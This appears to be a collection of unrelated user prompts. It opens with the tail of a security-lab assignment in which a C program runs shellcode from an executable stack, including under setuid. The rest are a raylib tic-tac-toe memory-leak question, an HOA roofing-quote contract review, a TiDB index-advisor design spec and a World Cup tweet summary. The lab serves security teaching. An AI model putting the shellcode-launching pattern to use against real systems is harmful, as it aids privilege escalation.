the shellcode to the stack \nint (\\*func)() = (int(\\*)())code; \nfunc(); // Invoke the shellcode from the stack \nreturn 1; \n}\n\nThe code above includes two copies of shellcode, one is 32-bit and the other is 64-bit. When we compile the program using the -m32 flag, the 32-bit version will be used; without this flag, the 64-bit version will be used. Using the provided Makefile, you can compile the code by typing make. Two binaries will be created, a32.out (32-bit) and a64.out (64-bit). Run them and describe your observations. It should be noted that the compilation uses the execstack option, which allows code to be executed from the stack; without this option, the program will fail. Compile it again by typing make setuid and run them again. Report the difference in your observation.\n\nHow do I do Task 1' -'the ai finally works! just to be safe, are there any memory leaks at the moment? current code for ref:\n```c\n#include \n#include \n#include "raylib.h"\n#include "string.h"\n\n#define BOARD\\_SIZE 3\n#define CELL\\_SIZE 100\n#define SCREEN\\_WIDTH (CELL\\_SIZE \\* BOARD\\_SIZE)\n#define SCREEN\\_HEIGHT (CELL\\_SIZE \\* BOARD\\_SIZE)\n\ntypedef enum\n{\n EMPTY,\n PLAYER1,\n PLAYER2\n} Cell;\n\nCell board[BOARD\\_SIZE][BOARD\\_SIZE];\n\nint GetWinningDirection(int player, Cell currentBoard[BOARD\\_SIZE][BOARD\\_SIZE]);\nbool CheckDraw();\nvoid DrawBoard(bool gameOver, int winner);\nvoid DrawWinMessage(int player);\nvoid ResetBoard();\n\nVector2 GetMouseCell();\nVector2 AIGetMove();\n\nint main()\n{\n InitWindow(SCREEN\\_WIDTH, SCREEN\\_HEIGHT, "Tic Tac Toe");\n SetTargetFPS(60);\n ResetBoard();\n\n int currentPlayer = PLAYER1;\n bool gameOver = false;\n int winner = 0;\n\n while (!WindowShouldClose())\n {\n if (!gameOver)\n {\n Vector2 move = {-1, -1};\n if (currentPlayer == PLAYER1 && IsMouseButtonPressed(MOUSE\\_LEFT\\_BUTTON))\n {\n move = GetMouseCell();\n }\n else if (currentPlayer == PLAYER2)\n {\n move = AIGetMove();\n }\n\n if (move.x != -1 && move.y != -1 && board[(int)move.y][(int)move.x] == EMPTY)\n {\n board[(int)move.y][(int)move.x] = currentPlayer;\n int winningDirection = GetWinningDirection(currentPlayer, board);\n if (winningDirection)\n {\n gameOver = true;\n winner = currentPlayer;\n }\n else if (CheckDraw())\n {\n gameOver = true;\n }\n else\n {\n currentPlayer = (currentPlayer == PLAYER1) ? PLAYER2 : PLAYER1;\n }\n }\n }\n\n if (gameOver && IsKeyPressed(KEY\\_R))\n {\n ResetBoard();\n currentPlayer = PLAYER1;\n gameOver = false;\n winner = 0;\n }\n\n BeginDrawing();\n ClearBackground(RAYWHITE);\n DrawBoard(gameOver, winner);\n if (gameOver)\n {\n DrawWinMessage(winner);\n }\n EndDrawing();\n }\n\n CloseWindow();\n return 0;\n}\n\nVector2 GetMouseCell() {\n int x = GetMouseX() / CELL\\_SIZE;\n int y = GetMouseY() / CELL\\_SIZE;\n return (Vector2){x, y};\n}\n\nVector2 AIGetMove()\n{\n Vector2 bestMove = {-1, -1};\n Cell tempBoard[BOARD\\_SIZE][BOARD\\_SIZE];\n\n // Copy the current board state\n memcpy(tempBoard, board, BOARD\\_SIZE \\* BOARD\\_SIZE \\* sizeof(Cell));\n\n // Check for a winning move\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER2;\n if (GetWinningDirection(PLAYER2, tempBoard))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // Check for the opponent\'s winning move and block it\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER1;\n if (GetWinningDirection(PLAYER1, tempBoard))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // If neither of the above, make a random move\n Vector2 moves[BOARD\\_SIZE \\* BOARD\\_SIZE];\n int moveCount = 0;\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n moves[moveCount++] = (Vector2){j, i};\n }\n }\n }\n\n if (moveCount > 0)\n {\n bestMove = moves[GetRandomValue(0, moveCount - 1)];\n }\n\n return bestMove;\n}\n\n/\\*\n \\* GetWinningDirection returns an integer representing the winning direction for a given player.\n \\* Return values:\n \\* 0 - No win\n \\* 1 to BOARD\\_SIZE - Horizontal win in the corresponding row\n \\* BOARD\\_SIZE + 1 to 2 \\* BOARD\\_SIZE - Vertical win in the corresponding column\n \\* 2 \\* BOARD\\_SIZE + 1 - Diagonal win from top-left to bottom-right\n \\* 2 \\* BOARD\\_SIZE + 2 - Diagonal win from top-right to bottom-left\n \\*/\nint GetWinningDirection(int player, Cell currentBoard[BOARD\\_SIZE][BOARD\\_SIZE])\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n if ((currentBoard[i][0] == player && currentBoard[i][1] == player && currentBoard[i][2] == player))\n { // Check rows\n return i + 1;\n }\n if ((currentBoard[0][i] == player && currentBoard[1][i] == player && currentBoard[2][i] == player))\n { // Check columns\n return i + BOARD\\_SIZE + 1;\n }\n }\n\n // Check diagonals\n if ((currentBoard[0][0] == player && currentBoard[1][1] == player && currentBoard[2][2] == player))\n {\n return 2 \\* BOARD\\_SIZE + 1;\n }\n if ((currentBoard[0][2] == player && currentBoard[1][1] == player && currentBoard[2][0] == player))\n {\n return 2 \\* BOARD\\_SIZE + 2;\n }\n\n return 0;\n}\n\nbool CheckDraw()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n return false;\n }\n }\n }\n return true;\n}\n\nvoid DrawBoard(bool gameOver, int winner)\n{\n for (int i = 1; i < BOARD\\_SIZE; i++)\n {\n DrawLine(i \\* CELL\\_SIZE, 0, i \\* CELL\\_SIZE, SCREEN\\_HEIGHT, BLACK);\n DrawLine(0, i \\* CELL\\_SIZE, SCREEN\\_WIDTH, i \\* CELL\\_SIZE, BLACK);\n }\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n int x = j \\* CELL\\_SIZE;\n int y = i \\* CELL\\_SIZE;\n\n if (board[i][j] == PLAYER1)\n {\n DrawText("X", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n else if (board[i][j] == PLAYER2)\n {\n DrawText("O", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n }\n }\n\n if (gameOver && winner)\n {\n int dir = GetWinningDirection(winner, board);\n if (dir >= 1 && dir <= BOARD\\_SIZE)\n { // Horizontal line\n int y = (dir - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(0, y, SCREEN\\_WIDTH, y, RED);\n }\n else if (dir >= BOARD\\_SIZE + 1 && dir <= 2 \\* BOARD\\_SIZE)\n { // Vertical line\n int x = (dir - BOARD\\_SIZE - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(x, 0, x, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 1)\n { // Diagonal from top-left to bottom-right\n DrawLine(0, 0, SCREEN\\_WIDTH, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 2)\n { // Diagonal from top-right to bottom-left\n DrawLine(SCREEN\\_WIDTH, 0, 0, SCREEN\\_HEIGHT, RED);\n }\n }\n}\n\nvoid DrawWinMessage(int winner)\n{\n const char \\*messageLine1;\n const char \\*messageLine2 = "Press R to restart.";\n\n if (winner == PLAYER1)\n {\n messageLine1 = "Player 1 (X) wins!";\n }\n else if (winner == PLAYER2)\n {\n messageLine1 = "Player 2 (O) wins!";\n }\n else\n {\n messageLine1 = "It\'s a draw!";\n }\n\n int textWidth1 = MeasureText(messageLine1, 20);\n int textWidth2 = MeasureText(messageLine2, 20);\n int textHeight = 20;\n\n // Draw a semi-transparent background rectangle to improve readability\n DrawRectangle((SCREEN\\_WIDTH - textWidth1) / 2 - 20, SCREEN\\_HEIGHT / 2 - 50, textWidth1 + 40, textHeight \\* 2 + 40, (Color){0, 0, 0, 128});\n\n DrawText(messageLine1, (SCREEN\\_WIDTH - textWidth1) / 2, SCREEN\\_HEIGHT / 2 - 30, 20, RAYWHITE);\n DrawText(messageLine2, (SCREEN\\_WIDTH - textWidth2) / 2, SCREEN\\_HEIGHT / 2, 20, RAYWHITE);\n}\n\nvoid ResetBoard()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n board[i][j] = EMPTY;\n }\n }\n}\n```' -"The Del Mar Woods Home Owners Association received the quote below for a roof repair.\nPlease advise on any addition(s), suppression(s) or modification(s) pf terms or legal language that the HOA might want to request in order to maximize the HOA's interests. In listing these changes please indicate for each a level of importance for the HOA, as well as a level of likelihood the contractor might find the change acceptable.\nHere is the quote:\n \n\n3110 S. Santa Fe Avenue, San Marcos CA. 92069, Office 760-471-7131, License # 820802 Submitted To: Dana Hopkins- NNJ Date: March 18, 2023, Rev. 1 Direct: 858-795-7006 \nEmail: dhopkins@nnj.com \nProperty: Del Mar Woods, 280 Surfview Court, Del Mar, CA. 92014 (approx. 100 square feet of roof) SDRD recommends to re-roof an approx. 8’ x 10’ area \nOption A: Complete new Carlisle or Mule Hide 60 mil TPO Roof System \n1. Maintain general and workman’s compensation insurance. Contractor shall provide worker’s compensation and general liability insurance. Relevant liability policy limits currently maintained by Contractor are: \n General Liability: $2,000,000 general aggregate Automobile: $1,000,000 combined single limit Contractor's liability insurance shall be comprehensive broad form coverage and shall include, without limitation: (1) Premises/Operations; (2) Products and Completed Operations; (3) Bodily Injury and Personal Injury Liability with Employment Exclusion deleted; (4) Contractual, including a specified provision for Contractor's indemnity obligations; (5) Broad Form Property Damage; and Owned, non-owned and hired motor vehicles. Contractor shall also maintain worker's compensation as required by law. Contractor shall name the Owner, its agents, consultants, and the Owner's management company as additional insureds under all of the above-required policies, except for worker's compensation coverage. Contractor's insurance policies must not contain any exclusion for work performed at a common interest subdivision, an insured versus insured exclusion, or a contractor's conditions of coverage endorsement requirement. \nINDEMNIFICATION: Contractor agrees to indemnify the OWNER from any damages assessed against OWNER related to, and all costs incurred in connection with, any legal action, except to the extent that such damages or costs result from the OWNER’S sole negligence or willful misconduct as it may pertain to the Work per this Agreement. \n2. Comply with OSHA fall protection requirements. \n3. Roofing crews shall display uniforms at all times to quickly identify company employees. 4. Wear protective equipment such as, hard hats, safety glasses, high visibility vest for the duration of the project. \n5. Working hours will start approx. 8:00 AM and ending at approx. 4:30 PM \n6. SDRD will be applying new TPO roof system. \n7. Remove old Torch-down Roof System. \n8. Replace damaged or need wood at an additional cost of: \n$135 per sheet of 15/32” CDX plywood. \n$28.00 per foot of fascia board. \n$12.00 per linear foot of 2x rafter supports \n$16.00 per linear foot of 2X T&G boards. \nAdditional wood to be authorized before replacement by an approved “Change Order”. 9. If a new plywood tapered system is requested, with new plywood and ripped rafters 16” OC, there will be an additional cost Change Order at a rate of $190.00 per man hour, plus, materials. New tapered system to be a minimum of ¼” per foot slope. \n10. Pull out old nails (do not drive nails down into deck). \n11. Clean-up and haul away all debris daily. \n12. Magnet sweep entire work area 2 times at the end of every day for the duration of project. 13. Install 2 layers of FR-10 for application of new TPO roof system, according to code. 14. Apply new factory perimeter clad metal. \n15. \\* New Code for flat roofs, install a minimum of R10 poly insulation above roof deck is now required for all flat roofs. Install 2 layers of 1.5” poly insulation staggered to comply with new code. 16. Install new 60 Mil TPO roof system. Color to be “ WHITE”. Mule Hide or Carlisle. 17. Provide a 20 year NDL labor and material warranty from manufacturer. Mule Hide or Carlisle 18. Provide a 10year Workmanship Warranty on all work performed from San Diego Roof Doctor. 19. Remove company equipment and related debris from job-site upon completion. 20. Email a daily project progress report with pictures at the end of every working day if requested. \n60 Mil TPO Roof $ 1,856.00 \n2 layers of 1.5 poly Insulation $ 950.00 \nCost $ 2,806.00 Total Acceptance \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ date\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ \nOptional: Double Modified torch-down to match existing, same price \nAcceptance \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ date\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ \nTerms: to be paid upon completion \nProposal goof for 45 days \nSincerely,\nEmilio Lopez/Owner/ Roof Expert/ Consultant \nSan Diego Roof Doctor “Over 36 years in the roofing industry” \nSan Diego Rain Gutters “Over 44 years in the gutter industry” \n3110 S. Santa Fe Avenue \nSan Marcos, CA. 92069 \nOffice: 760-471-7131 \nFax: 760-471-7132 \nDirect: 760-533-3301 \nEmail: emilio@sdroofdoctor.com \n \nStandard Provisions \n(1) If HOA/Agent/Buyer requests any alteration or deviation from the specifications in this Agreement, there will be an extra charge over and above the contract price shown on the front of this Agreement. These extra charges will be added to the contract price and paid in full upon Contractor’s completion on work. \n(2) This Agreement is not binding until accepted and approved at Contractor’s home office. Should work not commence within 180 days from acceptance of this Agreement, either party shall have the right to cancel this Agreement. \n(3) Contractor is not responsible for TV Antennas, guy wires, cable services, adjustment of rooftop equipment, debris inside attic space or garage or re-setting of dish signal or any interior articles dislodged due to vibrations from work activities on the roof such as mirrors, fans, light fixtures, \nshelves and wall hangings. HOA/Agent/Buyer to make all preparations to secure and loose items. Any homeowner articles shall be moved prior to work in the work area. \n(4) Contractor is not responsible for re-pitching, re-sloping, or correcting existing roof surfaces to eliminate ponding or collection of water unless expressly stated herein. Contractor is not responsible for pre-existing conditions or damages (such as cracked driveways or sagging roof members) resulting therefrom; or for damages caused by prior roof leaks, sheet rock cracks, sheet rock nail pops, paint flaking, curbs, sidewalks, patios, lawns, shrubs, plants, tile, marble improperly installed or hidden wiring, water or gas lines or the repair of any such conditions. \n(5) Contractor agrees to use reasonable care when moving, raising or lifting objects such as solar panels, gutters, conduits, sings, skylights, air conditioners, etc. but shall assume no responsibility for the operation of or damage to any such objects. \n(6) If HOA/Owner/Buyer fails to pay Contractor on all unpaid accounts, HOA/Owner/Buyer agrees to pay, as a late payment penalty, interest on the unpaid balance at the rate of one and one half (1.5%) percent per month (18 percent per annum). \n(7) If legal action is initiated by either party to this Agreement to (1) collect payment of any portion of the contract price. (2) Enforce either party’s express obligations under the contract or (3) obtain rescission of this Agreement the prevailing party in such litigation shall be entitled to reasonable attorney’s fees, in addition to all other relief to which that party may be entitled. This provision for attorney’s fees is expressly limited to actions on the contract, as mentioned above, and shall not be interpreted or construed to apply to any other claims. \n(8) Contractor shall be deemed to have substantially commenced work at the earlier or (1) the time materials or equipment are delivered to the jobsite, or (2) the time removal or modification of any existing roof covering begins. Contractor’s failure to substantially commence work within 20 days from the approximated dated specified in this Agreement is a violation of the Contractor’s License Law, unless the Contractor has a legal excuse for such delay. Allowance in approximate commencement and completion dates shall be made for delays attributable to circumstances beyond Contractor’s control. \n(9) Contractor shall have the right to stop work and keep the job idle if payments are not made to Contractor when due. If Contractor stops work for non-payment, HOA/Owner/Buyer shall be responsible for any damage, delay weather damage, properly damage, loss or injury to materials or equipment, additional work, or re-work resulting during or from such delay. \n(10)The sales representative presenting this Agreement to Buyer is not authorized to orally amend or supplement the terms of this Agreement. Any attempted oral modification of this Agreement is void. This Agreement constitutes the entire agreement between HOA/Owner/Buyer and Contractor. All prior or contemporaneous discussions, negotiations, arrangements are superseded by this written Agreement. \n(11)If the performance by the Agreement reasonably requires removal, contact with, or disturbance or any toxic, hazardous, regulated, or dangerous material. Contractor may require HOA/Owner/Buyer, at his or her expense, to hire licensed specialist to remove, abate or address such hazardous materials. If HOA/Owner/Buyer does not promptly engage such specialty contractors, Contractor may cancel this Agreement. Upon cancellation, HOA/Owner/Buyer shall pay Contractor the reasonable value of the goods and services provided by Contractor up to the time of cancellation. \n(12)Where colors are to be matched, the contractor shall make every reasonable effort to do so using colors and materials, but does not guarantee a perfect match. \n(13)Owner to contain or cage all animals. \n(14)Owner to remove vehicles beyond 60 feet from residence during roofing. \n(15)HOA/Buyer/Agent is responsible for cost if owner changes color choice. \n(16)HOA/Buyer/Agent to provide adequate temporary power if needed.\n(17)SD Roof Doctor is not responsible for skylights, movement or cracking of drywall. (18)All projected start dates are subject to weather permitting. \n(19)Owner/Buyer/Agent shall maintain proper yearly roof maintenance for warranty purposes. \n(20)Warranty explanation: If roof generates a leak during the labor warranty period, SDRD will provide all necessary tools, material and labor to repair the leak without any charges. SDRD, is not responsible for damages caused by leak nor does accept any responsibilities or liabilities, but the sole agreement to repair the leak. The warranty does not cover any leak caused by negligence, owner’s agents or associates, any unauthorized person walking or tampering with or on the roof, vandalism, fire, or any damage caused by an Act of God. \nOwner is responsible for routine roof maintenance. Roof warranty is not a maintenance agreement or an insurance policy. Routine inspections and maintenance must be completed by HOA/Owner/Buyer on a regular basis and is in the HOA/Owner/Buyer’s responsibility. Inspections shall take place on annual basis and documented. Periodic inspections shall include making minor repairs, cleaning off debris, cleaning filters and gutters, unclogging drains, etc., and are the HOA/Buyer/Owner’s responsibility. Lack of regular maintenance shall void warranty. \n Notice to Owner \nUnder the California Mechanics Lien Law any contractor, subcontractor, laborer, supplies or other persona who helps to improve your property but is not paid for his/her work or supplies, has a right to enforce a claim against your property. This means that after a court hearing, your property could be sold by a court officer and the proceeds of the sale used to satisfy the indebtedness. This can happen even if you have paid your contractor in full the subcontractors, laborers, or suppliers remain unpaid. \nTo preserve their right to file a claim or lien against your property, certain claimants such as subcontractors or materials suppliers are required to provide you with a document entitled “Preliminary Notice.” Original (or prime) contractors and laborers for wages do not have to provide this notice. A Preliminary Notice is not a lien against your property if they are not paid. (Generally, the maximum time allowed for filing a claim or lien against your property is ninety (90) days after completion of your project.) \n Arbitration of Disputes Notices \n\\*ARBITRATION OF DISPUTES NOTICE: BY INITIALING IN THE SPACE BELOW YOU ARE AGREEING TO HAVE ANY DISPUTE ARISING OUT OF THE MATTERS INCLUDED IN THE \\*ARBITRATION OF DISPUTES\\* PROVISION DECIDED BY NEUTRAL ARBITRATION AS PROVIDED BY CALIFORNIA LAW AND YOU ARE GIVING UP ANY RIGHTS YOU MIGHT POSSESS TO HAVE THE DISPUTE LITIGATED IN A COURT OR JURY TRIAL. BY INITIALING IN THE SPACE BELOW YOU ARE GIVING UP YOUR JUDICIAL RIGHTS TO DISCOVERY AND APPEAL, UNLESS THOSE RIGHTS ARE SPECIFICALLY INCLUDED IN THE \\*ARBITRATION OF DISPUTES\\* PROVISION. IF YOU REFUSE TO SUBMIT TO ARBITRATION AFTER AGREEING TO THIS PROVISION, YOU MAY BE COMPELLED TO ARBITRATE UNDER THE AUTHORITY OF THE BUSINESS AND PROFESSIONS CODE OR OTHER APPLICABLE LAWS. YOUR AGREEMENT TO THIS ARBITRATION PROVISION IS VOLUNTARY” \n\\*WE HAVE READ AND UNDERSTAND THE FOREGOING AND AGREE TO SUBMIT DISPUTES ARISING OUT OF THE \nMATTERS INCLUDED IN THE \\*ARBITRATION OF DISPUTES PROVISION TO NEUTRAL ARBITRATION” OWNERS’ INTITAL \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ CONTRACTOR’S INITIAL \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_" -"Scenarios where customers use indexes in business:\nUsers launch new workloads on TiDB. (Core scenarios covered in this article)\n1. After the data import is complete, users run the new workload on TiDB for a period of time (12h - 24h).\n2. The system finds some slow queries with a great impact.\n3. The system makes index recommendations for these slow queries and provides execution commands.\n 1. Includes recommendations for single-column and multi-column indexes.\n4. Users executes the corresponding command to complete the optimization.\nUsers' workload goes offline and no longer uses specific queries.\n1. After disable queries.\n2. The system checks whether there are existing indexes that are no longer used.\n 1. Indexes are no longer used: indexes that have not been called for a long time.\n3. The system suggests the deletion of invalid indexes and provides execution commands.\n 1. Provide commands and proofs to allow users to choose. If the statement is really no longer used, the user can delete the index.\n4. The user executes the corresponding command to complete the optimization.\nUsers update the business on TiDB and rewrite the original SQL\n1. After rewriting the queries, users run them on TiDB for a period of time (12h - 24h).\n2. The system discovers recently increased slow queries (periodically).\n 1. Recently increased slow queries: Compared with the latest period, the execution time becomes longer and the number of executions increases.\n3. The system makes index recommendations for these slow SQLs and provides execution commands.\n 1. If there is no index, recommend single-column index and composite index.\n 2. For existing indexes, perform index optimization, cover fields, index order, etc.\n4. Users execute the corresponding command to complete the optimization.\nUsers add some new indexes, which interfered with the previous query\n1. A new business is launched, some queries are added.\n2. Users add some new indexes, which interfered with the previous query.\n3. The system detects affected queries. \n 1. Affected queries: some queries use this index and the performance goes wrong.\n4. The system gives optimization suggestions and provides execution commands.\n5. Users executes the command to complete the optimization.\n 1. If users confirm that the affected queries need to be restored to original performance, users can apply the suggestion.\n 2. If users confirm that all things are acceptable, users just need to ignore this suggestion.\nPrevious work\nIndex Advisor POC \nSybil - Hackathon 2022 Root \nObjective\nFinal Goals\nList product goals including their timeframe, and success metric\nGoal：\n- For TiDB Cloud Cluster\n - Clinic stores all slow logs, Statement, Index Info, Statistics and other relevant diagnostic data.\n - Clinic analyzes all data and automatically discovers potential SQLs that can be suggested.\n - Periodically send a list of SQLs that can be optimized to the user.\n - Show all SQL that can be optimized. Why this conclusion.\n - Provide index optimization execution commands.\n- Advice that can be given\n - Index missing: single column index, compound index.\n - Too many indexes: low index usage, index interference.\n - The index is not optimal: the index covers incomplete fields, the index order is not good.\n - Index Type Tuning: Clustered Index.\nNon-Goal：\nNone\nMilestone Goals\nM1\n- For TiDB Cloud Cluster\n - Clinic stores all slow logs, and other data sources are directly queried from the customer cluster side.\n - Clinic analyzes all data and automatically discovers potential SQLs that can be suggested.\n - Show all SQL that can be optimized. Why this conclusion.\n - Provide index optimization execution commands.\n- Advice that can be given\n - Index missing: single column index, compound index.\nTarget user / role\nWho the product is for\nUsers\n- Support: Continue to provide customers with SQL optimization suggestions to improve user performance.\nDefinition\nTask\n1. The insight task is the asynchronous task. After the task is triggered, the task will run to finish automatically. Users can not pause or cancel the task right now(maybe users can do it in the future).\n2. The task should be cluster-level unique. So one cluster can trigger a task at the same time. No users level limitation.\n3. I think users can wait for 30 minutes at most.\n4. Default timeout is 60 minitues\nImpact:\nHow much it affects query performance.\nUser Scenarios / Story\nA detailed list of user scenarios\nM1: Munually Detect potential optimization of Index After queries run for a while\nPre-process:\n- Queries run a while.\nMain Process:\n- Support triggers the Index insight.\n- Clinic checks all slow queries once, and shows all insights.\n- Support checks the index insight list order by impact.\n- Support views the details of a specific index insight.\n - Confirm related Slow SQL, suggested command, etc.\n- Copy the command and execute it.\nPost process:\n- The effect on this SQL Digest is continuously monitored.\nFlow Chart\n[Image]\nM2: Automatically Detect potential optimization of Index After queries run for a while\nPre-process:\n- Queries run a while.\nMain Process:\n- User / Support enables automatic Index insight.\n- Clinic checks all slow queries periodically, and shows all insights.\n- Support receives the announcement periodically (maybe weekly).\n- Support checks the index insight list order by impact.\n- Support views the details of a specific index insight.\n - Confirm related Slow SQL, suggested command, etc.\n- Copy the command and execute it.\nPost process:\n- The effect on this SQL Digest is continuously monitored.\nFlow Chart\n[Image]\nFeature List\nIndex Insight List\n- Index Check Up Bottom\n - Trigger a check up.\n - When the task runs, the bottom is unavailble.\n- Inisght List\n - Impact\n - Type\n - Suggested Command\n - Related SQL\n - Check Up Time\nIndex Insight Details\n- Some concepts\n - Statement level data.\n - The historical data range is stable after the insight is detected.\n- Basic Information (P0)\n - Type\n - Impact\n - SQL Text / Digest\n - Suggested Command & Copy Buttom\n- Why give this suggestion\n - Used\n - Indexes\n - Statistics\n - An Index condition (need to expain on UI)\n - From Tables\n - Need to consider the SQL Join Types\n - Clause\n - WHERE Clause\n - Group BY Statement\n - Order BY Key Word\n- Existence Indexes related to tables\n - Table Name\n - Index Content\n - Create Time\n - Used Count\n- Table Healthy\n - Table Name\n - Healthy\n - Updated\n- In Feature\n - Performance Before and After\n - After Queries\nFunctional Specs\nAll the product interface and user-perceivable behavior changes need to be described in detail, including but not limited to:\n1. Any changes to GUI and command line, including command parameters and parameter definition changes;\n2. Any changes to the configuration items or system variables, including changes in value ranges and value semantics;\n3. Any changes to the storage directory and file format of the data;\n4. Any API and network protocol changes, including changes in the format of transmission content;\n5. Any user-visible output format or semantic changes, such as execution plan, diagnostic information, and error information, logs, alarms, etc. that affect user decision-making.\nIndex Insight List\n[Image]\nTop Bar:\n- Index Check Up Bottom\n - Trigger a check up for the last 24 hours on this cluster.\n - When the task runs, the bottom is unavailble.\n - Tips: Each check-up will cover slow queries from the past 24 hours.\nList:\n- Impact: The degree of optimization of the query\n- Type: which type of suggestion\n- Suggested Command: Suggested execution command\n- Related SQL: Queries that will be optimized, click to the slow queries page of this digest.\n- Check Up Time: The beginning time of check up running\nIndex Insight Details\nType: Missing Index\n[Image]\nTop Bar:\n- Check up time: The beginning time of check up running\n- Go to Statement bottom: click to dashbaord statement page\n - This means that the statement page's URL and filter needs to support the digest filter.\n- Go to Slow Queries bottom: click to slow query on o11y page\n - This means that the slow query page's URL and filter needs to support the digest filter.\nBasic Information:\n- Insight Type: which type of suggestion\n- Impact: The degree of optimization of the query\n - HIGH - MIDDLE - LOW: red - yellow - green color.\n- SQL Statement & SQL Digest.\n- Suggested Command: provide a copy bottom.\nWhy Give This Suggestion:\n- Used Index & Statistics: learn the current situation.\n- Scope of tables: Show all tables found in the query that need to be indexed.\n - Tips: Here are all the tables that need to be added to the index.\n- Some Clauses: Show all columns that need to be indexed and what type they are in the query.\n - Tips: Here are all the columns that need to be indexed. These columns come from the query's Where Clauses, Order BY Clauses or Group BY Clauses.\nExsiting Indexes:\n- A list of indexes:\n - Tables\n - Index name\n - Column\n - Clustered\n - Visible\nTable Healthy:\n- A list table healthy\n - Tables\n - Healthy\n - Last analyze time\nType: Analyze Table\n[Image]\nTop Bar:\n- Check up time: The beginning time of check up running\n- Statement bottom: click to dashbaord statement page\n - This means that the statement page's URL and filter needs to support the digest filter.\n- Statement bottom: click to slow query on o11y page\n - This means that the slow query page's URL and filter needs to support the digest filter.\nBasic Information:\n- Insight Type: which type of suggestion\n- Impact: The degree of optimization of the query\n - HIGH - MIDDLE - LOW: red - yellow - green color.\n- SQL Statement & SQL Digest.\n- Suggested Command: provide a copy bottom.\nExsiting Indexes:\n- A list of indexes:\n - Tables\n - Index name\n - Column\n - Clustered\n - Visible\nTable Healthy:\n- A list table healthy\n - Tables\n - Healthy\n - Last analyze time\nSlow Query / Statement List\n[Image]\nURL:\n- Supports the filter digest.\nTop Bar:\n- Add a filter digest: can be selected by dropdown.\nList:\n- Add the first column: show the insight icon when the digest is in the insight list.\n - The number represents how many insights were hit by this digest.\nSlow Query / Statement Detail\n[Image]\nInsights Model:\n- Show the insight model when the digest is in the insight list.\n- Every insight content can be clicked on. Click on the content to enter the detail page of the corresponding insight." -'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "beautifull" :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat\'s a beautiful goal ???\'\'#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\nThat\'s a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!\'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS\'\'2-0\'\'Beautiful goal.\'\'#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal\'Absolutely beautiful ?? \'#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. 